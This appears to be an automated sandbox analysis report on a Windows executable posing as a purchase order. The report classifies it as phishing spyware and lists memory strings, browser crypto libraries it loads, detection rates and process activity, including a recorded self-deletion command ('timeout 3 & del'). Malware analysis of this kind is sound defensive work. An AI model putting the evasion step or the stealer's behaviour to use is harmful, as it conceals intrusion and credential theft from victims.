Source: PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7201066945.000000001D980000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7162881339.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7168388100.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7168388100.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamefreebl3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7174962411.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemsvcp140.dll^ vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7162736684.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7197174638.000000001E688000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7154557567.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7174178046.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemsvcp140.dll^ vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7147239448.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7172137254.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7141563170.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7137545133.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7158985607.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenss3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenssdbm3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7145957838.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7197360510.000000001E698000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemsvcp140.dll^ vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenss3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenssdbm3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7196892223.000000001E674000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7164222655.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenssdbm3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamefreebl3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemsvcp140.dll^ vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenss3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenssdbm3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140.dll^ vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7139597928.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7196442274.000000001E65C000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7147080304.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7165324032.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7162088614.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7191917075.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamevcruntime140.dll^ vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7193561822.000000001E624000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7138655949.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7189033393.0000000000060000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7152463127.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7156953736.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7197291781.000000001E68C000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7144272032.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7145338066.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7183128266.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenssdbm3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7193218179.000000001E618000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7139684497.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenss3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamefreebl3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7150187588.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7197003158.000000001E678000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7196550840.000000001E660000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7172491492.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenssdbm3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs PO No. 3200005919.exe
Source: PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs PO No. 3200005919.exe
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Section loaded: crtdll.dll Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: edgegdi.dll Jump to behavior
Source: PO No. 3200005919.exe ReversingLabs: Detection: 61%
Source: PO No. 3200005919.exe Virustotal: Detection: 47%
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File read: C:\Users\user\Desktop\PO No. 3200005919.exe Jump to behavior
Source: PO No. 3200005919.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\PO No. 3200005919.exe C:\Users\user\Desktop\PO No. 3200005919.exe
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Users\user\Desktop\PO No. 3200005919.exe C:\Users\user\Desktop\PO No. 3200005919.exe
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PO No. 3200005919.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Users\user\Desktop\PO No. 3200005919.exe C:\Users\user\Desktop\PO No. 3200005919.exe Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PO No. 3200005919.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3 Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_00403489 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_00403489
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\Overfurnished Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\nsqF39C.tmp Jump to behavior
Source: classification engine Classification label: mal100.phis.troj.spyw.evad.winEXE@8/56@2/2
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_004020FE CoCreateInstance, 1_2_004020FE
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_00404814 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 1_2_00404814
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: SELECT ALL id FROM %s;
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
